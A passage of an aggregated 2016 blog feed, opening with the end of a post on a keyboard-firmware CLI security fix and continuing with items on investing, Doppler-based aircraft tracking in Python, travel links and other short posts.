&lt;p&gt;Fortunately, the firmware was created to be pretty modular, and it is easy to turn this functionality on or off by adding just a few define guards:&lt;/p&gt;
&lt;pre class="language-c " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-c"&gt;&lt;span style="color: #fa5c4b;"&gt;#if defined&lt;/span&gt;&lt;span&gt;(DEBUG)
&lt;/span&gt;&lt;span style="font-style: italic; color: #928374;"&gt;// Enable CLI
&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;CLI_init()&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;#endif
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-style: italic; color: #928374;"&gt;// ...
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;#if defined&lt;/span&gt;&lt;span&gt;(DEBUG)
&lt;/span&gt;&lt;span style="font-style: italic; color: #928374;"&gt;// Process CLI
&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;CLI_process()&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;#endif
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What this does is turn off initialization and processing of the CLI. It is still there, sitting in the background - and there might still be more security risks with it - but the obvious attack vector is gone.&lt;/p&gt;
&lt;p&gt;On October 10, 2016, I submitted &lt;a href="https://github.com/kiibohd/controller/issues/159"&gt;an issue&lt;/a&gt; to address this, and a corresponding &lt;a href="https://github.com/kiibohd/controller/pull/160"&gt;pull request&lt;/a&gt;. Following a discussion with Haata (the maintainer of the firmware), we decided to pursue adding an option to have a security-hardened mode, as well as adding a passcode to enable to console on non-hardened keyboards.&lt;/p&gt;
&lt;p&gt;My personal recommendation is to apply my patch to your firmware if you are using OS X&lt;a id="footnote-2"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;. On Linux, you shouldn't have to patch anything immediately, since accessing the console requires sudo permissions.&lt;/p&gt;
&lt;p&gt;Stay posted for more updates! I hope to have the first pass at the security-hardened mode out during October, and hopefully the corresponding configurator changes can follow shortly after.&lt;/p&gt;
&lt;p&gt;+++&lt;/p&gt;
&lt;p&gt;&lt;a id="footnote-1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt; I verified the issue exists on OS X, but it does not exist in Linux since you need root access to access the console. However, the documentation suggests adding a udev rule file which does give read permissions to everyone without sudo, so many Linux users are likely vulnerable.
&lt;a id="footnote-1"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; You can get the patch from my pull request, it works and is only closed because it is not the long-term solution. I'm using it myself for now. If you need help, email me or tweet at me.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Wed, 12 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/security-of-the-infinity-ergodox/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Diversificar inversiones para aumentar nuestra tranquilidad</title><link>https://danielpecos.com/2016/10/11/diversificar-inversiones-aumentar-nuestra-tranquilidad/</link><description>&lt;p&gt;&lt;img alt="Diversificar inversiones" class="alignleft size-full" height="300" src="https://danielpecos.com/assets/2016/10/business-icons-design_1133-223-e1476165867752.jpg" width="300" /&gt;Antes de asumir el &lt;strong&gt;riesgo que supone la inversión en Bolsa&lt;/strong&gt;, quise asegurarme de que era el modo que quería utilizar para sacar rendimientos a mis ahorros. Todo el mundo sabe que invertir en bolsa es algo arriesgado y en aquel momento prefería optar a un rendimiento menor a cambio de una &lt;strong&gt;mayor seguridad de retorno de mi dinero&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;¡Manos a la obra! Acto seguido empecé a bucear por las páginas de inversión de las entidades bancarias con las que trabajo e ir extrayendo una lista de productos tipos a fin de poder investigar sobre cada uno de ellos y las condiciones que les aplican. Tras unas horas de investigación conseguí la siguiente lista de productos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Depósitos&lt;/li&gt;
&lt;li&gt;Fondos de inversión&lt;/li&gt;
&lt;li&gt;Seguros de ahorro&lt;/li&gt;
&lt;li&gt;Planes de pensiones&lt;/li&gt;
&lt;li&gt;Bolsa&lt;/li&gt;
&lt;li&gt;Y alguno más… (Tranquilos, en posteriores artículos entraré en detalle con cada uno de ellos)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;¿Por cuál decidirme? &lt;strong&gt;Cada uno tenía sus ventajas e inconvenientes&lt;/strong&gt;. Tras mucho leer en foros, llegué a una línea argumental bastante común: &lt;strong&gt;diversificar las inversiones&lt;/strong&gt;, no sólo decidiendo en qué empresas invertir, sino en qué productos utilizar. De esta forma, repartiendo tus ahorros en distintos productos, consigues una &lt;strong&gt;mayor seguridad financiera&lt;/strong&gt;. En general, no resulta conveniente poner todos los huevos en la misma cesta.&lt;/p&gt;
&lt;p&gt;El problema que le vi a este enfoque, es que, a parte de conservador, &lt;strong&gt;requería un capital considerable&lt;/strong&gt;, puesto que la diversificación lo repartiría en montoncitos de menor tamaño. En mi caso era poco viable debido a los ahorros de partida, por lo que a pesar del consejo, decidí centrarme en la inversión en bolsa.&lt;/p&gt;
&lt;p&gt;Por último y antes de terminar, quería comentaros un par de opciones que me resultaron de especial interés (por su novedad) y que recuperé a través de contactos, foros y blogs especializados en inversión:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inversión inmobiliaria&lt;/strong&gt;: y no hablo de comprar un piso asumiendo una hipoteca (y sus intereses) con el fin de venderlo en un futuro, sino de compras en comunidad (crowdfunding), por decirlo de algún modo, que permiten destinar parte de nuestro dinero a la compra de una vivienda real, rehabilitarla, alquilarla durante un determinado tiempo, repartiéndose el importe del alquiler entre los propietarios (a modo de dividendo) para finalmente vender la vivienda y repartir beneficios. Personalmente, conocía el crowdfunding, pero no lo había visto todavía aplicado a la compra / venta inmobiliaria. Realmente me pareció muy interesante, y puesto que no hay un mínimo para participar, resulta una opción a considerar. Para más detalles, consultad la web de &lt;a href="https://www.housers.es/es"&gt;Housers&lt;/a&gt; (gracias a mi amigo Fidel Añó por comentarme este tipo de inversiones!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="embed-youtube" style="text-align: center; display: block;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inversión en negocios en fases iniciales (a.k.a startups)&lt;/strong&gt;: sin duda es la opción que más retorno puede producir, pero también la más arriesgada. Por Silicon Valley se dice que más del 90% de las startups resultan fallidas. Lo suyo es, una vez más, diversificar en distintas startups y buscar ese 10% que cubra al resto de inversiones fallidas y retorne un beneficio. Y sobre todo, tratar de encontrar aquella que se convierta en &lt;strong&gt;unicornio&lt;/strong&gt; (se valore en más de 1.000 millones de $), lo cual no es tarea fácil. Aún así, si dispones de una cantidad importante de ahorros, y dado el &lt;strong&gt;efecto social que genera este tipo de inversión&lt;/strong&gt; (creación de autoempleo, fomento del emprendedurismo, buena publicidad al inversor, etc) resulta una opción a tener en cuenta.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sin duda el momento actual de crisis por el que estamos pasando, aumenta la &lt;strong&gt;creatividad de las personas&lt;/strong&gt;, y no sería nada raro ver nacer nuevos tipos de productos o proyectos inversión como el de Housers.&lt;/p&gt;
&lt;p&gt;Permanezcamos atentos, lo bueno puede estar por venir.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Tue, 11 Oct 2016 07:59:58 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/11/diversificar-inversiones-aumentar-nuestra-tranquilidad/</guid></item><item><title>The Nazis and The Bicyle Riders by Rabbi Lionel Blue</title><link>https://ho.dges.online/words/commonplace/the-nazis-and-the-bicyle-riders-by-rabbi-lionel-blue/</link><description>&lt;p&gt;The Nazi said to the Jew: “The Jews are responsible for all Germany’s problems.”&lt;br /&gt;
“Yes,” said the Jew, “the Jews and the bicycle riders.”&lt;/p&gt;
&lt;p&gt;“Why the bicycle riders?” said the Nazi, puzzled.&lt;/p&gt;
&lt;p&gt;“Why the Jews?” said the Jew.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Tue, 11 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/the-nazis-and-the-bicyle-riders-by-rabbi-lionel-blue/</guid></item><item><title>Maze Editing</title><link>http://www.nuke24.net/plog/20.html</link><author>TOGoS's Project Log</author><pubDate>Mon, 10 Oct 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/20.html</guid></item><item><title>The main points of the second presidential debate</title><link>https://rybakov.com/blog/debate/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="debate" loop="true" poster="/video/debate/debate.jpg"&gt;
      &lt;source src="../video/debate/debate.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="debatebuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="debatepaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Hillary Clinton and Donald Trump at the second debate.&lt;br /&gt;
I don&amp;rsquo;t think they like each other too much.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Mon, 10 Oct 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/debate/</guid></item><item><title>Catch-22</title><link>https://apurva-shukla.me/bookshelf/catch-22/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Scintillating with acerb and wit, Heller entertains us wonderfully, beautifully, and unimaginably.

I can relate to the fellow…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Mon, 10 Oct 2016 13:50:27 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/catch-22/</guid></item><item><title>Fat Albert</title><link>https://nickp.svbtle.com/blue-angel</link><description>&lt;p&gt;I was watching the &lt;a href="https://en.wikipedia.org/wiki/Fleet_Week"&gt;Fleet Week&lt;/a&gt; display by the &lt;a href="https://en.wikipedia.org/wiki/Blue_Angels"&gt;Blue Angels&lt;/a&gt; yesterday and we were talking about if you could determine where an aircraft was based on the sounds you were hearing from the engine. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/tpyiovgnkazyow.png"&gt;&lt;img alt="Screenshot 2016-10-09 15.58.30.png" src="https://svbtleusercontent.com/tpyiovgnkazyow_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Say we have an aircraft at some unknown position flying at a constant linear velocity. If the engine is emitting sound at a constant frequency and as soon as we start hearing the engine we start recording the sound. Then given &lt;strong&gt;just&lt;/strong&gt; that audio let’s try and determine how far away the aircraft is and how fast it’s traveling. Here’s a generated &lt;a href="https://www.dropbox.com/s/a0r76ldm0yrbskw/audio.wav?dl=0"&gt;sample recording&lt;/a&gt; of a source starting &lt;code class="prettyprint"&gt;315.914&lt;/code&gt; meters away and traveling at  &lt;code class="prettyprint"&gt;214&lt;/code&gt; meters per second in an unknown direction. &lt;/p&gt;

&lt;p&gt;First let’s make a simplification. We can rotate our frame of reference such that the aircraft is traveling along the x-axis from some unknown starting point. If we look from above the situation looks like this. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/3feyeptxkgjdva.png"&gt;&lt;img alt="Screenshot 2016-10-09 17.13.50.png" src="https://svbtleusercontent.com/3feyeptxkgjdva_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When working with audio the first thing to do would probably be to plot the spectrogram and see if we can gleam anything from that. The spectrogram of a WAV file can be plotted using this code:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;Fs, audio = scipy.io.wavfile.read('audio.wav')
MAX_FREQUENCY = 2000
pylab.figure(facecolor='white')
pylab.specgram(audio, NFFT = 1024, Fs=Fs, cmap=pylab.cm.gist_heat)
pylab.ylim((100,MAX_FREQUENCY))
pylab.xlim((0,1.1))
pylab.xlabel('Time (s)')
pylab.ylabel('Frequency (Hz)')
pylab.show()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and the result spectrogram which shows the power spectrum of the received signal as a function of time looks like this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/b2vg7xfvhvkowq.png"&gt;&lt;img alt="Screenshot 2016-10-09 16.12.57.png" src="https://svbtleusercontent.com/b2vg7xfvhvkowq_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This looks great. Most importantly you can see the &lt;a href="https://en.wikipedia.org/wiki/Doppler_effect"&gt;Doppler Effect&lt;/a&gt; in action because the sound waves are compressing in the direction of the observer. This implies that the aircraft is moving towards us. Other than that there isn’t much that can be gained here. We can look at the inflection point of the spectrogram and infer that this is the point where the aircraft is passing perpendicular to us which corresponds to the actual frequency that the engine is emitting which in this case looks like about &lt;code class="prettyprint"&gt;500&lt;/code&gt; Hertz.  However we can’t assume that the aircraft will pass us so we probably can’t even take that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/dx3uzapbh44j2w.png"&gt;&lt;img alt="Screenshot 2016-10-09 16.48.39.png" src="https://svbtleusercontent.com/dx3uzapbh44j2w_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s try something different. Let’s analyze this in the time domain instead. When the aircraft starts emitting sounds at some real time &lt;code class="prettyprint"&gt;t&lt;/code&gt; that sound takes a while before it arrives at the observer. This delay depends on the distance from the observer and the speed of sound. When this first bit of audio arrives at the observer which is &lt;code class="prettyprint"&gt;t=0&lt;/code&gt; but in “receiver time” the aircraft has already been flying for a while. So this first piece of audio corresponds to a previous location. We don’t know what this delay is because we don’t know how far away the plane way. Since the frequency of the sounds we are receiving are changing because of the Doppler Effect we can’t really rely on frequency analysis either. Let’s instead zoom in and look at the &lt;a href="https://en.wikipedia.org/wiki/Zero_crossing"&gt;zero-crossings&lt;/a&gt; of the signal. &lt;/p&gt;

&lt;p&gt;The zero-crossing are the points in time that the signal (regardless of frequency) cross the x-axis. In “real time” there will be a number of times when this happens and they will be constantly spaced by &lt;code class="prettyprint"&gt;1/(f*2.0)&lt;/code&gt; where &lt;code class="prettyprint"&gt;f&lt;/code&gt; is the frequency of the sounds emitted by the engine. However when we receive the signal and the aircraft is traveling towards us - it will be squashed, and have shorter time between zero-crossings and then further apart as the aircraft flies away. So the signal get’s concertinas in a specific way. Here’s an exaggerated diagram of what is being emitted and what is being received when:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/f9rr4mcb9h4sxw.png"&gt;&lt;img alt="Screenshot 2016-10-09 17.14.35.png" src="https://svbtleusercontent.com/f9rr4mcb9h4sxw_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s say the plane is traveling with a speed of &lt;code class="prettyprint"&gt;v&lt;/code&gt; parallel to the x-axis. So its x-coordinates at time &lt;code class="prettyprint"&gt;t&lt;/code&gt; is  &lt;code class="prettyprint"&gt;x0 + v * t&lt;/code&gt; (some unknown starting point) and its y-coordinate is &lt;code class="prettyprint"&gt;R&lt;/code&gt;  (some unknown distance). Here &lt;code class="prettyprint"&gt;t&lt;/code&gt; is the real time when the signal is emitted. The time for this signal to reach us is:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;import numpy as np

def reach_time(x0, v, t, R):
    c = 340.29  # speed of sound
    dt = np.sqrt((x0 + v*t)**2 + R**2)/c
    return dt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The time stamp in received time is just just &lt;code class="prettyprint"&gt;reach_time(x0, v, t, R) + t - t0&lt;/code&gt; where &lt;code class="prettyprint"&gt;t0&lt;/code&gt; is the initial  and unknown delay for the first signal to reach us. From this we can get the timestamp of the nth zero-crossing knowing that the source frequency is fixed.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;import numpy as np

def nth_zero_crossing(n, x0, v, R, f, n0):
    c = 340.29  # speed of sound
    f2 = 2.0*f
    return (np.sqrt((x0 + v*n/f2)**2 + R**2)/c + (n - n0)/f2)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So we’ve got a model that maps the time of a zero-crossing at the source to the time of a zero-crossing in our WAV file. This is a mapping of zero-crossings in the source to zero-crossing in the received signal. Which are the orange lines in this image:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/joau6wakv8a75q.png"&gt;&lt;img alt="Screenshot 2016-10-09 17.19.30.png" src="https://svbtleusercontent.com/joau6wakv8a75q_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we need to extract the zero-crossings from the WAV file so we can compare. We could use some more advanced interpolation but since there are &lt;code class="prettyprint"&gt;44100&lt;/code&gt; samples per second in the audio file the impact on the resulting error term should be small. Here’s some code to extract the time of each zero-crossing in an audio file.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;import scipy
import numpy as np

Fs, audio = scipy.io.wavfile.read(fn)
audio = np.array(song, dtype='float64')

# normalize
audio = (audio - audio.mean()) / audio.std()

prev = song[0]
ztimes = [ 0 ]

for j in xrange(2, song.shape[0]):
    if (song[j] * prev &amp;lt;= 0 and prev != 0):
        cross = float(j) / Fs
        ztimes.append(cross)
    prev = song[j]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This gives us a generative model where we can select some parameters of the situation and using the &lt;code class="prettyprint"&gt;nth_zero_crossing&lt;/code&gt; compute what the received signal would look like. This puts us in a good position to create an error function between the actual (empirical) data in the audio file and the generated data based on our parameters. Then we can try and find the parameters that minimize this error.  Here some code that computes the residue of our generates signal:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;import numpy as np

def gen_received_signal(args):
    f2, v, x0, R, n0 = args
    n = np.arange(len(ztimes))
    y = (np.sqrt((x0 + v*n/f2)**2 + R**2)/c + (n - n0)/f2)
    error = np.array(ztimes) - y
    return error
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/bz5ptw6tpcj77a.png"&gt;&lt;img alt="Screenshot 2016-10-09 17.04.27.png" src="https://svbtleusercontent.com/bz5ptw6tpcj77a_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using a non-linear least squares solver like &lt;a href="https://en.wikipedia.org/wiki/Levenberg%E2%80%93Marquardt_algorithm"&gt;Levenberg Marquardt&lt;/a&gt; we can search for the parameters that best explain our data. &lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;import numpy as np
from scipy.optimize import least_squares

f2 = 1600
v = 100
x0 = -100
R = 10
n0 = 100

args = [f2, v, x0, R, n0]
res = least_squares(gen_received_signal, args)
f2, v, x0, R, n0 = res.x

# compute the initial distance
D = np.sqrt(x0**2+R**2)

print 'Solution distance=', D, 'x0=',x0, 'v=',v, 'f=',f2/2.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Out of this pops the solution and more. It has also accurately computed the source frequency given some bad initial guesses. Since we aren’t assuming anything about the change in frequency this approach also works when the aircraft does not pass us and is only recorded on approach or flying away from us. In reality the sound would attenuate quadratically over distance but that should not impact this solution because we don’t use amplitudes.&lt;/p&gt;</description><author>Nicholas Pilkington</author><pubDate>Mon, 10 Oct 2016 03:21:16 GMT</pubDate><guid isPermaLink="true">https://nickp.svbtle.com/blue-angel</guid></item><item><title>Love, Love Is A Verb</title><link>https://ho.dges.online/words/commonplace/love-love-is-a-verb/</link><description>&lt;p&gt;![[2022-02-07-004.jpg]]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Love, Love is a Verb. Love is a doing word&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Mon, 10 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/love-love-is-a-verb/</guid></item><item><title>Measuring userfaultfd page-fault latency</title><link>https://makedist.com/posts/2016/10/10/measuring-userfaultfd-page-fault-latency/</link><description>How fast can my application service its own page fault?</description><author>Noah Watkins</author><pubDate>Mon, 10 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2016/10/10/measuring-userfaultfd-page-fault-latency/</guid></item><item><title>Elixir ETS + Mnesia vs Redis</title><link>https://www.brightball.com/articles/elixir-ets-and-mnesia-vs-redis</link><description>Learning Elixir has a way of challenging everything you know about programming. Redis is becoming an assumed part of many web stacks, in the same breath as your database. But with Elixir, do you need it? Do you even need a database?</description><author>Brightball Articles</author><pubDate>Sun, 09 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/elixir-ets-and-mnesia-vs-redis</guid></item><item><title>Into the Wild: A Review</title><link>https://trigonaminima.github.io/2016/10/into-the-wild-review/</link><description>I once heard on a podcast that, when you like something, make it a practice to think of the reason(s) why you like it. If I remember it correctly, this was a strategy to keep your sceptical nature in check. Anyway, sceptical or not, I think this is a good practice.</description><author>Playground</author><pubDate>Sun, 09 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2016/10/into-the-wild-review/</guid></item><item><title>Singapore travel bookmarks</title><link>https://xenodium.com/singapore-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/singapore/comments/4s5y70/any_place_to_go_thrift_shopping_in_singapore/"&gt;Any place to go thrift shopping in Singapore? (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;East coast lagoon.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/visakanv/status/1129373195901915136"&gt;Food post on SG&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ieatishootipost.sg/tai-hua-bak-chor-mee-everybody-queue-up"&gt;Hillstreet Tai Hwa Pork Noodles: Everybody Queue up!&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Little_India,_Singapore"&gt;Little India&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/visakanv/status/1171034065354379264"&gt;More SG spots&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thehoneycombers.com/singapore/second-hand-shopping-in-singapoe-best-places-for-thrift-shopping-for-pre-loved-clothes-used-furniture-and-vintage-accessories/"&gt;Second hand shopping in Singapore&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/visakanv/status/1171037799673262083"&gt;SG spots&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.telegraph.co.uk/travel/picturegalleries/8308524/Singapores-best-hawker-centres.html"&gt;Singapore's best hawker centres - Telegraph&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sg.asia-city.com/"&gt;The Insider's Guide to Singapore (SG Magazine Online)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mariefranceasia.com/fashion/serial-shopper/shopping-guide/treasure-hunt-5-places-thrift-singapore-107735.html"&gt;Treasure Hunt: 5 Places to thrift in Singapore&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/visakanv/status/1204136302230130688"&gt;Visakan Veerasamy on Twitter: &amp;quot;what do you know about Singapore?&amp;quot;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/singapore/comments/5gf0y5/what_is_the_best_hawker_center_in_singapore/"&gt;What is the best hawker center in singapore? (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 08 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/singapore-travel-bookmarks</guid></item><item><title>Remote execution in mgmt</title><link>https://purpleidea.com/blog/2016/10/07/remote-execution-in-mgmt/</link><description>&lt;p&gt;Bootstrapping a cluster from your laptop, or managing machines without needing to first setup a separate config management infrastructure are both very reasonable and fundamental asks. I was particularly inspired by &lt;a href="https://github.com/ansible/ansible"&gt;Ansible&lt;/a&gt;&amp;rsquo;s agent-less remote execution model, but never wanted to build a centralized orchestrator. &lt;a href="https://en.wikipedia.org/wiki/You_can%27t_have_your_cake_and_eat_it"&gt;I soon realized that I could have my ice cream and eat it too.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Prior knowledge&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If you haven&amp;rsquo;t read the earlier articles about mgmt, then I recommend you start with those, and then come back here. The first and fourth are essential if you&amp;rsquo;re going to make sense of this article.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Fri, 07 Oct 2016 18:33:17 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/10/07/remote-execution-in-mgmt/</guid></item><item><title>Gmail Buddy, aka "The Internet of Things we do NOT need"</title><link>https://stop.zona-m.net/2016/10/gmail-buddy-aka-the-internet-of-things-we-do-not-need-smarter-email-notifications-seeed-cc/</link><description>&lt;p&gt;an Internet of Things that we definitely don&amp;rsquo;t need&lt;/p&gt;
&lt;figure&gt;
  &lt;img alt="Gmail Buddy, aka " src="https://stop.zona-m.net//img/gmail-buddy-no-thanks.jpg" width="100%" /&gt;
&lt;/figure&gt;
&lt;p&gt;there is a project, over at Seeed, that is a good example of a really (too) large category of projects that I really do &lt;strong&gt;not&lt;/strong&gt; get. At least, I don&amp;rsquo;t get &lt;strong&gt;why&lt;/strong&gt; they should have anything like &amp;ldquo;smart&amp;rdquo; or &amp;ldquo;smarter&amp;rdquo; in their name. I&amp;rsquo;m talking of&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 06 Oct 2016 09:42:03 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/10/gmail-buddy-aka-the-internet-of-things-we-do-not-need-smarter-email-notifications-seeed-cc/</guid></item><item><title>Padre Rico, Padre Pobre</title><link>https://danielpecos.com/2016/10/06/padre-rico-padre-pobre/</link><description>&lt;p&gt;&lt;img alt="Padre Rico, Padre Pobre" class="alignleft size-full" height="300" src="https://danielpecos.com/assets/2016/10/Padre-Rico-Padre-Pobre-e1475605213828.jpg" width="197" /&gt;Intentar abordar desde el &lt;strong&gt;desconocimiento&lt;/strong&gt; una técnica de inversión para conseguir revalorizar tus ahorros, está desde mi humilde punto de vista, &lt;strong&gt;destinado al fracaso&lt;/strong&gt;. ¿Por qué tropezar con piedras con los que otros ya lo han hecho y además han explicado el camino que llevaban y sus consecuencias? (Una de las referencias que personalmente suelo utilizar para conseguir consejo es precisamente mi padre, al igual que el autor de este libro, y supongo que muchos otros más).&lt;/p&gt;
&lt;p&gt;Es por ello que ya desde un primer momento decidí que parte de los ahorros tenía que &lt;strong&gt;destinarlos al aprendizaje sobre inversión&lt;/strong&gt;, empezando por libros introductorios a este mundo. Pero no creas que resulta fácil. Existe mucha literatura que trata el tema de la inversión, y mucha de ella, de &lt;strong&gt;baja calidad o refritos de otros libros&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Por lo que tras leer algunos comentarios, decidí comenzar con éste:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.es/Padre-rico-pobre-edici%C3%B3n-actualizada-ebook/dp/B007HPS120/ref=dp_kinw_strp_1"&gt;Padre Rico, Padre Pobre&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;En este libro el autor narra cómo desde muy joven se introdujo en el mundo de la inversión, y las disyuntivas que se le planteaban entre su padre biológico (Padre Pobre) y el padre de su mejor amigo (Padre Rico). Padre Rico era un empresario de su pueblo natal que le enseñaría a comprender los flujos del dinero y la forma de pensar de las personas acerca del dinero y el trabajo.&lt;/p&gt;
&lt;p&gt;Es un libro realmente ameno y fácil de leer, y aunque está escrito para un entorno legal americano (hay algunos puntos legales que en España no son trasladables), me resultó &lt;strong&gt;clarificador&lt;/strong&gt; y sobre todo &lt;strong&gt;motivante&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Mi valoración personal (escala de 0 – Nada recomendable a 5 – ¿Cómo es posible que no lo tengas?): &lt;strong&gt;4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 06 Oct 2016 08:00:09 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/06/padre-rico-padre-pobre/</guid></item><item><title>Clean Tea - Part II</title><link>https://www.craigpardey.com/post/2016-10-06-clean-tea-part-ii/</link><description>&lt;p&gt;This is a continuation of my post about &lt;a href="https://www.craigpardey.com/2016/09/clean-tea"&gt;clean tea&lt;/a&gt;, except this time I analysed the offerings from &lt;a href="http://www.teavana.com"&gt;Teavana®&lt;/a&gt; (a Starbucks company).&lt;/p&gt;
&lt;p&gt;Teavana® by the numbers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;101 teas (excluding kits and samplers)&lt;/li&gt;
&lt;li&gt;70 contain sugar and/or flavourings&lt;/li&gt;
&lt;li&gt;31 caffeine-free&lt;/li&gt;
&lt;li&gt;4 had no ingredients listed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So I filtered the list to only show teas with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No caffeine&lt;/li&gt;
&lt;li&gt;No sugar&lt;/li&gt;
&lt;li&gt;No flavourings&lt;/li&gt;
&lt;/ul&gt;
